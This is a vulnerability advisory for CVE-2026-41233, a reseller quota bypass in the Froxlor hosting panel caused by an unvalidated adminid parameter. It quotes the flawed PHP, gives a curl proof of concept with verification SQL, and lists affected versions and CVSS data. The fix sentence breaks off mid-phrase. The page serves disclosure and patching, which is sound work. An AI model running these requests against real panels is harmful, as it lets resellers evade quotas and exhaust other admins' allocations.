Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()
In Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customers_see_all permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domains_used counter is incremented) and potentially exhausting another admin's quota.
In lib/Froxlor/Api/Commands/Domains.php, the add() method accepts adminid as an optional parameter at line 327:
```php
$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));
```
The validation for this parameter only runs when the caller has customers_see_all == '1' (lines 410-421):
```php
if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
$admin_stmt = Database::prepare("
SELECT * FROM " . TABLE_PANEL_ADMINS . "
WHERE adminid = :adminid AND (domains_used < domains OR domains = '-1')");
$admin = Database::pexecute_first($admin_stmt, [
'adminid' => $adminid
], true, true);
if (empty($admin)) {
Response::dynamicError("Selected admin cannot have any more domains or could not be found");
}
unset($admin);
}
```
When a reseller does not have customers_see_all (the common case for limited resellers), there is no else branch to force $adminid = $this->getUserDetail('adminid'). The unvalidated $adminid flows directly into:
1. The domain INSERT at line 757: 'adminid' => $adminid
2. The quota increment at lines 862-868:
```php
$upd_stmt = Database::prepare("
UPDATE " . TABLE_PANEL_ADMINS . " SET domains_used = domains_used + 1
WHERE adminid = :adminid
");
Database::pexecute($upd_stmt, ['adminid' => $adminid], true, true);
```
Compare with Domains.update() at lines 1386-1387 which correctly handles this case:
```php
} else {
$adminid = $result['adminid'];
}
```
The initial quota check at line 321 checks the *caller's* own quota ($this->getUserDetail('domains_used')), but since the caller's domains_used is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.
Note: The getCustomerData() call at line 407 does correctly restrict the customerid to the reseller's own customers (via Customers.get which filters by adminid). However, this does not prevent the adminid field itself from being spoofed.
```bash
# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'
# Where:
# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all
# - customerid=3 = one of the reseller's own customers
# - adminid=1 = the super-admin's ID (or any other admin's ID)
# Step 2: Verify the domain was created with adminid=1
# In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';
# Expected: adminid=1
# Step 3: Check the reseller's quota was NOT incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=<reseller_id>;
# Expected: domains_used unchanged
# Step 4: Check the target admin's quota WAS incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;
# Expected: domains_used incremented by 1
# Step 5: Repeat with different domain names to demonstrate unlimited creation
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'
# The reseller's domains_used remains unchanged, allowing indefinite creation
```
1. Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own domains_used counter is never incremented.
2. Quota exhaustion DoS: The target admin's domains_used counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.
3. Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by adminid) but remain active on the server.
4. Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.
Add an else branch to for
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
CVE-2026-41233 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.
CVE-2026-41233 is recorded against 2 packages.
Published on 23 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
github.com
github.com
github.com
github.com
froxlor has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-863: Incorrect Authorization) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| froxlor | — | 2.3.6 |
| froxlor/froxlor | — | 2.3.6 |
References
Similar Threats
Exploit Protection
CVE-2026-41233 carries CVSS 5.4 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
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